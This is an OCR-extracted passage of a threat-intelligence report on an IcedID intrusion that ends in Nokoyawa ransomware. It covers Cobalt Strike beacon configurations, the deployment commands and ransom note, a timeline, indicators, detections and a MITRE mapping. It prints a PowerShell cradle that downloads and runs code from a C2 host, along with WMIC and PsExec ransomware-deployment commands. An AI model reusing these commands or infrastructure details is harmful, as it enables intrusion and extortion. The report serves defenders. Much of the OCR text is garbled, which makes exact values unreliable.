9 webcamo 9 webcam1 9 webcam2

V1.3 Useridle 411201 sec/ Locked TRUE / ScreenSaver, FALSE

KEYHOLE
VNC

In the execution section we covered utilities launched by the threat actors from the VNC activity.

Web Service

On the sixth day, the threat actors launched an Edge browser on the beachhead host, via VNC as described in the execution
section, and connected to the site dropmefiles[.Jcom a site that offers free file transfer services. Data connections from the
Edge browser in the SRUMDB indicate that a file download occurred but we were unable to determine what the file was or

its purpose related to the intrusion.

o . drop
I files/folders
Drop ' [-Files To paste image

or text from clipboard
press CTRL+V

(®  ipowwnwoap 7oA  uoas | Q em (G | ABC em 123

TO:

FROM:

Cobalt Strike
T1071/S0154

The threat actors dropped and executed a malicious DLL, p1.dll, on the beachhead. This malicious DLL is a Cobalt Strike
beacon reaching out to 23.29.115.152/aicsoftware[.Jcom on ports 757 and 8080. Later the threat actors also injected further
beacons into memory reaching out to 50.3.132.232 /iconnectgs[.Jcom on port 8081. Later on day six, the threat actors added

a new Cobalt Strike server to the intrusion, 5.8.18.242 on port 443 (see below for visualizing this activity).

Beaconing
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Below is a screenshot of a packet captured from C2 traffic over HTTP. Encrypted POST requests made to iconnectgs|.]Jcom
(50.3.132[.]232) are seen:

POST /mobile-home HTTP/1.1

Accept: */%

Host: iconnectgs.com

Content-Type: text/plain

Cookie: __session__id=MTcwOTg3NzI10A==

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Content-Length: 292

Connection: Close

Cache-Control: no-cache

QUFBQWIDCG1NRGtSVEVMWLLFcEx4a3]0ZzUzUzdXcU82S1E4bnNBcjBjREIpV1ZROWSIViN1bW8OV]jgxMjZOV1ZNeEInMX1IUGFQVHpiUDdjbOxtS2dRQ1V2MMNXRWt0ZG12T2RkcGQ1YktWan

dIaU1TczZrUV1EbjA@T3NpYjhiaW1tWlIWdWF5TD 1IbmNxQ200SmV4YTVOWURINMORMF JLWGNQUMIpaHA4a2gtaWFwlzhtZm9Sam14eTRSNTQ4QzNPbj 1qYzZZREXND29rZWZXMGYyQXpicOkd
HTTP/1.1 200 0K

Date: 18:22:49 GMT
Status: 200

Connection: close

Server: Pagely Gateway/1.5.1
Content-Length: @

Cobalt Strike Configurations

Domain 1P Port JA3 JA3s
aicsoftware[.Jcom  23.29.115.152 757 a0e9f5d64349fb13191bc781f81f42e1  f176ba63b4d68e576b5ba345bec2c7b7

aicsoftware[.Jcom = 23.29.115.152 8080 N/A N/A

"beacontype": [
"HTTP"
P
"sleeptime": 62518,
"jitter": 37,
"maxgetsize": 1398708,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 305419776,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "aicsoftware.com",
"port": 8080,
"publickey": "MIGFMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTgLGIvbpnfCh/itwyv1b3pfV1fzKp70IvlLCx21brRUSEF8QX
Yo
"host_header": ""
"useragent_header": null,
"http-get": {
"uri": "/br.js",
"verb": "GET",
"client": {
"headers": null,
"metadata”: null
H
"server": {
"output": [
"print",
"prepend 600 characters",
"baseb4",
"mask"

1
"http-post": {
"uri": "/es",
"verb": "POST",
"client": {
"headers": null,
"id": null,
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"output": null

Yo
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
Bo
"http_post_chunk": @,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\\syswow64\\regsvr32.exe",
"spawnto_x64": "%windir%\\sysnative\\regsvr32.exe"
Fo
"process-inject": {
"allocator": "VirtualAllocEx",
"execute": [
"CreateThread",
"Rt1CreateUserThread",
"CreateRemoteThread"
1
"min_alloc": 6133,
"startrwx": false,
"stub": "tUr+Aexqde3zXhpE+L@5KQ==",
"transform-x86": [
"prepend "\\x90\\x90\\x90\\x90\\x90\\x90" "
P
"transform-x64": [
"prepend "\\x90\\x90\\x90\\x90\\x90\\x90" "
P
"userwx": false
T
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
1
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"stage": {
"cleanup": true
Fo
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
Domain 1P Port JA3 JA3s
iconnectgs[.Jcom 50.3.132.232 8081 N/A N/A
[{

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UBQ3d\uB@3d",
"pipename": null,
"dns_beacon": {

"put_metadata": null,

"get_TXT": null,

Page 20 of 33



https://thedfirreport.com /2023/05/22 /icedid-macro-ends-in-nokoyawa-ransomware,/

"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

b
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"post_ex": {
"spawnto_x64": "%windir%\\sysnative\\svchost.exe",
"spawnto_x86": "%windir%\\syswow64\\svchost.exe"
h
"stage": {
"cleanup": "true"
h

"process_inject": {
"stub": "snNvHLupDUIob8Qr+6dPTQ\u@@3d\u@e3d",
"transform_x64": ["prepend \u@027\\x90\\x90\\x90\\x90\u0027"],
"transform_x86": ["prepend \u@@27\\x90\\x90\\x90\\x90\u0027"],
"startrwx": "false",
"min_alloc": "5271",
"userwx": "false",
"execute": ["CreateThread", "RtlCreateUserThread", "CreateRemoteThread"],
"allocator": "VirtualAllocEx"
h
"uses_cookies": "true",
"http_post_chunk": "@",
"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null
h
"useragent_header": null,
"maxgetsize": "1864478",
"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,
"type": null
1Y
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"server": {
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrr8AvQMHINOuqc7x6r58gsuNMYuuRdKcMgo3iPMjQgMTu5BNXgK
"port": "8081",
"hostname": "iconnectgs.com"
bo
"beacontype": ["HTTP"],
"kill_date": null,
"license_id": "@",
"jitter": "43",
"sleeptime": "62004",
"http_get": {
"server": {
"output": ["print", "prepend 338 characters", "base64", "base64"]
Yo
"client": {
"metadata": [],
"headers": []
%
"verb": "GET",
"uri®: "/hr"
19
"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
"client": {
"output": [],
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"id": (],
"headers": []
%
"verb": "POST",
"uri": "/mobile-home"
}
oA

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UGO3d\u@@3d",

"pipename": null,

"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

h
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"post_ex": {
"spawnto_x64": "%windir%\\sysnative\\svchost.exe",
"spawnto_x86": "%windir%\\syswow64\\svchost.exe"
}
"stage": {
"cleanup": "true"
19

"process_inject": {
"stub": "snNvHLupDUIob8Qr+6dPTQ\u@@3d\u@e3d",
"transform_x64": ["prepend \u@027\\x90\\x90\\x90\\x90\u0027"],
"transform_x86": ["prepend \u@@27\\x90\\x90\\x90\\x90\u0027"],
"startrwx": "false",
"min_alloc": "5271",
"userwx": "false",
"execute": ["CreateThread", "RtlCreateUserThread", "CreateRemoteThread"],
"allocator": "VirtualAllocEx"
h
"uses_cookies": "true",
"http_post_chunk": "0",
"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null
h
"useragent_header": null,
"maxgetsize": "1864478",
"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,
"type": null
bo
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"server": {
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrr8AvQMHINOuqc7x6r58gsuNMYuuRdKcMgo3iPMjQgMTu5BNXgK
"port": "8081",
"hostname": "iconnectgs.com"
bo
"beacontype": ["HTTP"],
"kill_date": null,
"license_id": "0",

"jitter": "43",

"sleeptime": "62004",

"http_get": {
"server": {

"output": ["print", "prepend 338 characters", "base64", "base64"]
Fo

"client": {
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"metadata": [],

"headers": []
%
"verb": "GET",
"uri": "/hr"
19

"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
"client": {
"output": [],
"id": [1,
"headers": []
1
"verb": "POST",

uri": "/mobile-home"

H

Domain  IP Port  JA3 JA3s

N/A 5.8.18.242 443  72a589da586844d7f0818ce684948eea  f176ba63b4d68e576b5ba345bec2c7b7

[{

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UGO3d\u@@3d",

"pipename": null,

"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

h
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"post_ex": {
"spawnto_x64": "%windir%\\sysnative\\rundl132.exe",
"spawnto_x86": "%windir%\\syswow64\\rund1132.exe"
19
"stage": {
"cleanup": "false"
19

"process_inject": {
"stub": "tUr+Aexqde3zXhpE+LO5KQ\u0@3d\u6@3d",
"transform_x64": [],
"transform_x86": [,
"startrwx": "true",
"min_alloc": "0",
"userwx": "true",
"execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"]
"allocator": "VirtualAllocEx"
h
"uses_cookies": "true",
"http_post_chunk": "0",
"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null
19
"useragent_header": null,
"maxgetsize": "1048576",
"proxy": {
"behavior": "Use IE settings",
"password": null,
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"username": null,
"type": null
19
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"server": {
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNOM3nXx+7HBhkbDd+AwFrFisSunk999w2tMOuTpuuEiBalcIhcl+
"port": "80",
"hostname": "5.8.18.242"
19
"beacontype": ["HTTP"],
"kill_date": null,
"license_id": "305419776",

"jitter": "0",
"sleeptime": "60000",
"http_get": {
"server": {
"output": ["print"]
1
"client": {
"metadata": [],
"headers": []
h
"verb": "GET",

uri": "/pixel.gif"
}

"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
"client": {
"output": [1,
"id": [1,
"headers": []
T
"verb": "POST",

uri": "/submit.php"
}

oA

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA\UGO3d\u@@3d",

"pipename": null,

"dns_beacon": {
"put_metadata": null,
"get_TXT": null,
"get_AAAA": null,
"get_A": null,
"beacon": null,
"maxdns": null,
"dns_sleep": null,
"put_output": null,
"dns_idle": null

Bo
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"post_ex": {
"spawnto_x64": "%windir%\\sysnative\\rund1132.exe",
"spawnto_x86": "%windir%\\syswow64\\rund1132.exe"
Bo
"stage": {
"cleanup": "false"
Bo

"process_inject": {
"stub": "tUr+Aexqde3zXhpE+L@5KQ\u@@3d\u@e3d",
"transform_x64": [],
"transform_x86": [],
"startrwx": "true",
"min_alloc": "@",
"userwx": "true",
"execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"]
"allocator": "VirtualAllocEx"
h
"uses_cookies": "true",
"http_post_chunk": "0",

Page 24 of 33



https://thedfirreport.com /2023/05/22 /icedid-macro-ends-in-nokoyawa-ransomware,/

"ssh": {
"privatekey": null,
"username": null,
"password": null,
"port": null,
"hostname": null

h

"useragent_header": null,

"maxgetsize": "1048576",

"proxy": {
"behavior": "Use IE settings",
"password": null,
"username": null,

"type": null
h
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"server": {
"publickey": "MIGfMA@GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNOM3nXx+7HBhkbDd+AwFrFisSunk999w2tMOuTpuuEiBalcIhcl+
"port": "443",
"hostname": "5.8.18.242"
h

"beacontype": ["HTTPS"],
"kill_date": null,
"license_id": "305419776",

"jitter": "0",
"sleeptime": "60000",
"http_get": {
"server": {
"output": ["print"]
Yo
"client": {
"metadata": [],
"headers": []
%
"verb": "GET",
"uri": "/dot.gif"

19
"cfg_caution": "false",
"host_header": "",
"crypto_scheme": "0",
"http_post": {
"client": {
"output": [],
"id": [1,
"headers": []
1
"verb": "POST",

uri": "/submit.php"
H
Exfiltration
During the intrusion, the threat actors targeted password documents on network shares. We observed these being taken and

opened off network through the use of canaries. No overt exfiltration was observed so we assess that this occurred over
existing command and control channels.

The threat actors opened the document from the IP:

45.61.139.126

= 45.61.139.126 petails »

First Seen 2019-01-22 MNetBlock 45.61.139.0/24
Last Seen 2023-03-22 ASN AS399629 - BLNWX
Country GB Organization BL Networks
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Impact

Threat Actors deployed Nokoyawa ransomware from one of the servers using WMI and PsExec. They first copied the

ransomware binary,k.exe, and a batch script p.bat using WMI:

wmic /node:"TARGET_HOST_IP" /user:"DOMAIN\USER" /password:"PASSWORD" process call create "cmd.exe /c copy \\SI

Command spawned by WmiPrvSE.exe:

cmd.exe /c copy \\SOURCE_SERVER_IP\c$\windows\temp\k.exe c:\windows\temp\

A snippet of SMB network traffic generated by the above command:

50735 5 445 SMB::FILE_OPEN
50684 17 445 SMB::FILE_OPEN
50677 0 445 SMB::FILE_OPEN
50750 '8 445 SMB::FILE_OPEN
50683 TARGETS 0 445 SMB::FILE_OPEN
50723 6 445 SMB::FILE_OPEN
50682 1 445 SMB::FILE_OPEN
50758 g 445 SMB::FILE_OPEN

50753 71 445 SMB::FILE_OPEN
The p.bat is a simple batch script that runs the k.exe binary with a Base64 encoded configuration:
c:\windows\temp\k.exe --config REDACTED
The redacted parameter used by the "—config" flag decodes to:
{"EXTENSION": "AWAYOKON", "NOTE_NAME": "AWAYOKON-readme.txt", "NOTE_CONTENT": "REDACTED", "ECC_PUBLIC": "lHrVI(
The decoded configuration file shows the ransomware extension, the note name, and the note content encoded in Base64.

The threat actors also configured a number of directories and extensions to skip, and enabled network and hidden drives

encryption. The DELETE_SHADOW was set to true, in order to delete volume shadow copies.

Windows Pow

How to run:

Based on the configuration parameters being passed via command line and the code written in C++, the deployment appears

to be part of the 1.1 version of the Nokoyawa code base:
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B dos-stub (176 bytes)
file-header (time-stamp)

directories (7)

tls-callbacks (1)

strings (50/5308)
¥ debug (time-stamp)

optional-header (file-checksum)

mdS-without-overlay
shal-without-overlay
sha2S6-without-overlay

Attribute Nokoyawa 1.0 Nokoyawa 1.1 Nokoyawa 2.0 Nokoyawa 2.1
(Nevada)
Encryption SECT233R1 + SECT233R1 + X25519 + Salsa20 X25519 +
algorithms Salsa20 Salsa20 Salsa20
Encryption library Tiny-ECDH Tiny-ECDH x25519_dalek x25519_dalek
Programming C/C++ C/C++ Rust Rust
language
Encryption Hardcoded Passed via Passed via Hardcoded
Parameters command-line command-line
Import Hashing No Yes No No
CIS Exclusion No No Yes Yes
Architecture x64 x64 x64 x64
Earliest known February 2022 January 2023 September 2022 January 2023
compilation date
Ransomware sample code signature:
4
- property value
4 indicators (3/30) mds 40CODC2807B6R343DASEIIDEBOD3052
shal OF5457B123E60636623F585CC2BF2729F13A9506
b dosheader (64 bytes) sha2s6 T09SBEAFFFSE37070A89407C | BF3C6ACFE221EDT6E068TFEC78D4CIDEDEFDG

4D 5A.90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00

compiler-stamp
debugger-stamp
resources-stamp
exports-stamp

version-stamp

@

4283 EC28EECBO200004883 C428E972FEFFFFCCCCCCCCCCCCOCCCCCCCCC Ol

first-bytes-hex
first-bytes-text Mz

File-size 462097 (bytes)
size-without-overlay

entropy 6272

imphash

signature Microsoft Visual C++ £0
entry-point

file-version

description

file-type executable

cpu 64-bit

subsystem console

Debug information shows that the binary was generated a few hours before the encryption:

file settings about

%

= \kexe
indicators (43)
-§3

- 1 dos-header (64 bytes)
B8 dos-stub (176 bytes)

> file-header (Amd64)

& directories (7)
» sections (6]

libraries (flag)
imports (flag)

- § exceptions (1203)
=0 tls-callback (1)

- 4} relocations (1462)
=

&

abe string

(10045) *

> rich-header (Visual Studic)

» optional-header (console)

property
stream (0)
size-of-data
format
first-bytes-hex
age

guid

path

stamp

stream (1)
size-of-data
format
first-bytes-hex

stream (2)
size-of -data
format
first-bytes-hex
stamp

value

61 bytes
RSDS

525344 53 13 91 DD SC 6E A6 9143 B7 DF 32 BB 1E D5 AC DA 05 00 00 00 59 3A 5C 6E 6F 6B ..

5

9CDD9113-A66E-4391-B7DF-32BB1EDSACDA

Yi\noko'targetirelease\depsinoke.pdb

20 bytes

vcFeature

5C 00 00 00 CB 00 00 00 CEB 00 00 00 00 00 00 00 CE 00 00 00

948 bytes
PGO

2| UTC)

00 00 00 00 00 10 00 00 FO 6F 03 00 2E 74 65 78 74 00 00 00 FO 7F 03 00 EQ DE 00 00 2E 74 65 78

sha256: 7095BEAFFF5837070A89407C 1BF3C6ACFE221EDTE6E0697FEC5TBD4CIDECEFDE
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cpu: 64-bit

file-type: executable

subsystem: console
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The ransomware was then deployed at scale using PsExec to encrypt the Windows domain:

psexec.exe \\TARGET_HOST_IP -u DOMAIN\USER -p "PASSWORD" -s -d -h -r mstdc -accepteula -nobanner c:\windows\"

00:00:_. 0 2
22:48:38

22:48:01
22:48:01
2:48:01
22:48:01
22:08:01
2:48:41
22:48:41
22:08:01
2:48:1
22:48:41
22:08:1
2:48:01
22:48:41

A ransom message was left in each directory where files were encrypted.
E AWAYOKON-readme.txt.txt - Notepad

File Edit View

Nokoyawa.

If you see this, your files were successfully encrypted.
We advice you not to search free decryption method.
It's impossible. We are using symmetrical and asymmetric encryption.

ATTENTION:
- Don't rename encrypted files.
- Don't change encrypted files.
- Don't use third party software.

To reach an agreement we offer you to visit our Onion Website.
How to open Onion links:
Download TOR Browser from official website.
Open and enter this link:
http://[REDACTED].onion/pay/[REDACTED]
On the page you will see a chat with the Support.
Send your first message.

The faster you contact with us the faster you will get a solution.

After encryption, contact was made with the threat actors using their support site and the price of the ransom was quoted at

~$200,000 USD in Bitcoin. No ransom was paid as a result of this intrusion.

Timeline
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IcedID Macro Ends in Nokoyawa Ransomware

18:54 UTC IcedID Initial Execution
L EXCELEXE" s

21:21 UTC Cobalt Strike Executed

[~ 18:58 UTC Discovery via IcediD

peonfig fall

on Beachhead

rundl32 e\programdatalol cllDiRegisterServer

hellexe -nop -w hidden —¢ "IEX ({new-object netwabelent)
downloadstringitlps:/aicsof twarel Jcom:757/coin)

©2:23.29115152:757 | 23.29115.152:8080

21:32 UTC Discovery via Cobalt

systeminfo

itest fdomaintrusts

21:24 UTC Defense Evasion, Privilege
Escalation, and Credential Access

obalt Strike njection into Multple Processes

Named Pipe Impersonation | cmd exe /c echo cclic0Seas > W \pipe\f964d3

Strike on Beachhead

net. group “domain acing® /dom
et group “enterprise acming” /dom
whoarmi /upn

i \DC.P ADDRESS\ct

21:43 UTC Port Scan Conducted

LSASS Memory Access
|~ 21:36 UTC Lateral Movement to Domain Controller

Poviershell Cabalt Sirke Paylaad Exection

e exe /node: <REDACTEDS process call
create “crmd.exe /c powershell xe nop -
Hidden —c "IEX (jnew-object net webclient)
downloadsting( htps://aicsoftware.com 757/

for SQL Servers

E Port Scan conducted from Coblt Strike
Scanned for SQL Servers (TCP/1443]

22:04 UTC Threat Actor Searches
for Password Files on Fileserver

SMB Access from Beachhead

22:16 UTC Command and Control

E New Coba Strke Server Observed!
©2:50:3152.252 8081

Searches for XLS fles with passwords,
canary filereports off network access to
such fies

19:27 UTC Credential Access

L LSASS access from Cobalt Strike beacon on
Domain Controler

15:55 UTC Discovery, Privilege Escalation.

B8

Credential Access
L On Domain Controller

net. group "Damain Computers® /damain
net. group "domain adrmins” /dom

et aroup "enterprise admins® /dorn

crndexe /c echo 03149075425 >\ \pipe\b22al5

Cobalt Srike beacon access to LSASS

g

12:41 UTC Command and Control

New Cobalt Strike Server Observed

C2:5818.242:443

12:46UTC - 13:30 UTC Domain
Discovery and Collection

emd exe /C adget exe ad zip

13:26- 13:37 UTC Lateral Movement

Targeted additional Domain Controller and FleShare Server
(Cobat Strike beacon copied via SMB to C:Windows\Templ il
Batch script o execute beacon copied o CAWindows\Temp\Lbat

WM from Beachhead -> winic /node:<REDACTEDS process
call create cAwindowshternpil bat

emd.exe /C adfind bat

adfind exe -

Texea -3 ad7zad

14:05 UTC Port Scan Conducted
Remote Desktop Service

16:11-23:38 UTC Discovery and Lateral Movement

s bat used to perform DNS lookups for
hosts across environment

ROP logins to other servers

Cobalt Stike beacon copied and ran via ROP

emdtexe, /C, copy. .l <REDACTED>\CS\windows\temp\
fundliz2 exe 1L DiRegisterServer

More RDP and nslookup activity

Port Scan done from Cobalt Srke:

Scanned for TCP/3589

UTC Impact

from threat actor

[~ 22:40 UTC Impact

Threat actor stages ransormuare on server

22:42 Impact Deployed

rmetexe /K copy p bat \<REDACTED>\c$\windows\temp
emdexe fc copy \\<REDACTED\cfiwindows\tempik exe cAwindousitemp

wimic /node:"<REDACTED" /user DOMAINVUSER' /passworc: PASSWORD' process callcreate “crmd.
xe /c copy WSOURCE SERVER IP\cS\windows\templp bat c-\windows\{emp\’

psexec exe \\<REDACTED> - DOMAINVUSER -p ‘PASSWORD" -5 -d -h -t metde -
accepteuta -nobanner cwindows\tempip bat

civindows\tempik.exe --config
yIFWFRFTINITOAOIAIGVGBWUFLTO]

Diamond Model

prior to deployment

Ibat
2bat
Sbat
abat
500t
6ot
psexec.exe | matde.exe

kexe
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e sporTsSES
Workstatio
Adversary L

ol

BackConnect VNC — 15774104108

Cobalt Strike

Domain Controllers
Backup Servers

Workstations

Indicators

Atomic

Cobalt Strike

50.3.132[.]232:8081 / iconnectgs[.]com
5.8.18[.]242:443

23.29.115[.1152:757 / aicsoftware[.]com
23.29.115[.]152:8080 / aicsoftware[.]com

Powershell Cobalt Strike Downloader
https://aicsoftware[.]com:757/coin

IcedID Excel Download URL
https://simipimi[.Jcom

IcedID C2

kicknocisd[.]com

159.65.169[ . 1200

45.66.248[.]1119:443 / guaracheza[.]pics | belliecow[.]wiki
198.244.180.66:443 / curabiebarristie[.]com | stayersa[.]art

BackConnect
137.74.104[.]1108:8080

Computed

1.bat

b5db398832461be8d93fdbda120088aa
b36748a27b8e68710701286106ad434c9afeabfa
30a334da51d22b2fe6e33970df8d081396394de9d3a3c224751aach2202bodb

1.d11

9740f2bBaeacc180d32fc79c46333178
€599c32d6674c01d65bff6c7710e94b6d1136869
d3db55cd5677b176eb837a536b53ed8c5eabbfd68f64b88dd083dcIceIf fhbe

4_202210250456866742.x1s

d3032968085db665381d9chd3569330
9230520c6dd215e2152bb2e56b2a5dbb45ae8e13
eb84a283f58906786d63ffe43a8ff2728584428f5f7d9972c664f6318790113

7030270

964c94b217d102e53a227bchc94ae52e
b846€89d056851696d50b5e64c6e758ddae3eba
091886c95ca946aedee24b7c751b5067c5ac875923cabadd3cc9d9671efadbb5d

k.exe

40c9dc2897b6b348da88b23deb0d3952
0f5457b123e60636623585cc2bf2729f13a95d6
7095beafff5837070a89407c1bf3cbacf8221ed786e0697f6c578d4c3dedefdb

mstdc.exe

7dae150c1df0e01467be3a743775b646
£309b61a8b@05b5ceda3fh58caaa798cfc95f5db
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Capabilities/TTPs

IcedID Excel

Scheduled Task Persistance

Cobalt Strike

RDP

WMl

PSExec

ADGet

Nokoyawa Ransomware
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3c19fee379b4882971834a3d3813f8b86de560114274375560433778cd505748

p.bat

385d21c0438f5b21920aa9eb894740d2
5d2c17799dfc6717f89cd5f63951829aed038041
e351ba5e50743215e8e99b5f260671ca8766886f69d84eabb83e99d55884bc2f

Detections
Network
ET MALWARE Win32/IcedID Request Cookie
ET POLICY OpenSSL Demo CA - Internet Widgits Pty (0)
NF - Malware IcedID BackConnect - Wait Command
NF - Malware IcedID BackConnect - Start VNC command - 11
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
ET MALWARE Cobalt Strike Malleable C2 Profile (__session__id Cookie)
ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET POLICY PsExec service created
ET POLICY SMB Executable File Transfer
ET POLICY SMB2 NT Create AndX Request For a .bat File
ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement
Sigma
SIGMA Project Repo

New Process Created Via Wmic.EXE id: 526be59f-a573-4eea-b5f7-f0973207634d

Potential Recon Activity Via Nltest. EXE id: 5cc90652-4cbd-4241-aa3b-4b462fa5a248

Created Files by Office Applications id: c7a74c80-ba5a-486e-9974-ab9e682bc5e4

CobaltStrike Named Pipe id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2

Suspicious Group And Account Reconnaissance Activity Using Net.EXE id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
PowerShell Download and Execution Cradles id: 85b0b087-eddf-4a2b-b033-d771fa2b9775

Meterpreter or Cobalt Strike Getsystem Service Installation — Security id: ecbc5e16-58e0-4521-9c60-eb9a7eadad34
Credential Dumping Tools Accessing LSASS Memory id: 32d0d3e2-e58d-4d41-926b-18b520b2b32d

Potential Defense Evasion Via Rename Of Highly Relevant Binaries id: Obalda6d-b6ce-4366-828c-18826c9de23e
DFIR Report Repo

AdFind Discovery id: 50046619-1037-49d7-91aa-54fc92923604

CHCP CodePage Locale Lookup id: dfbdd206-6cf2-4db9-93a6-0b7e14d5f02f

Yara

MITRE
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18190 IcedID Macro Ends in Nokoyawa Ransomware

Tools Technique

T1566.001 Phishing: Spearphishing

Initial Access Attachment

T1204.002 User Execution: Malicious file
Command and Scripting Interpreter: Windows
Command Shell - TI059.003

Microsoft Office Excel T1059.004 Command and Scripting

50483 IcedID Interpreter: PowerShell

TI059.005 Command and Scripting
Interpreter: Visual Basic

T1047 Windows Management Instrumentation

Execution

T1053.005 Scheduled Task/Job: Scheduled

Persistence S0483 IcedID
Task

T1134.001 Access Token Manipulation: Token
Privilege Escalation S0154 Cobalt Strike Impersonation/Theft
TI055 Process Injection

T1036.003 Masquerading: Rename System
Utilities

T1070.004 Indicator Removal: File Deletion
T1218.011 System Binary Proxy Execution:
Rundll32

TI078 Valid Accounts

Defense Evasion

T1552.001 Unsecured Credentials: Credentials
in files

T1003.001 OS Credential Dumping: LSASS
Memory

Credential Access

50552 AdFind

(5:21299 A TI087.001 Account Discovery: Local Account
Ad pt T1087.002 Account Discovery: Domain
S0359 Nitest Account
- T1083 File and Directory Discovery
Dlscovery S0039 Net .
50097 Pi TI1018 Remote System Discovery
'ng . TIO6 System Network Configuration
S0096 Systeminfo Discover
50483 IcediD i

SOI54 Cobalt Strike T1482 Domain Trust Discovery

T1021.001 Remote Services: Remote Desktop
Protocol

T1021.002 Remote Services: SMB/Windows
Admin Shares

T1021.006 Remote Services: Windows
Remote Management

Lateral Movement 50029 PsExec

T1560.001 Archive Collected Data: Archive

Collection 7 zip via Utility

T1071.001 Application Layer Protocol: Web

50483 IcedID Protocols
Command and Control S0154 Cobalt Strike TIO5 Ingress Tool Transfer
BackConnect VNC TII02 Web Service

TI219 Remote Access Software

Exfiltration TI041 Exfiltration Over C2 Channel

Nokoyawa Ransomware | T1486 Data Encrypted for Impact
S0029 PsExec

Impact

Access Token Manipulation: Token Impersonation/Theft - T1134.001
Account Discovery: Local Account - T1087.001

Account Discovery: Domain Account - T1087.002

Application Layer Protocol: Web Protocols - T1071.001

Command and Scripting Interpreter: Windows Command Shell - T1059.003
Command-Line Interface: PowerShell - T1059.001

Command-Line Interface: Visual Basic - T1059.005

Data Encrypted for Impact - T1486

Domain Trust Discovery - T1482
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File and Directory Discovery - T1083

Indicator Removal on Host: File Deletion - T1070.004
Masquerading: Rename System Utilities - T1036.003
Phishing: Spearphishing Attachment - T1566.001

Process Injection - T1055

Remote Services: RDP - T1021.001

Remote Services: SMB/Windows Admin Shares - T1021.002
Remote System Discovery - T1018

Scheduled Task/Job: Scheduled Task - T1053.005

System Binary Proxy Execution: Rundl132 - T1218.011
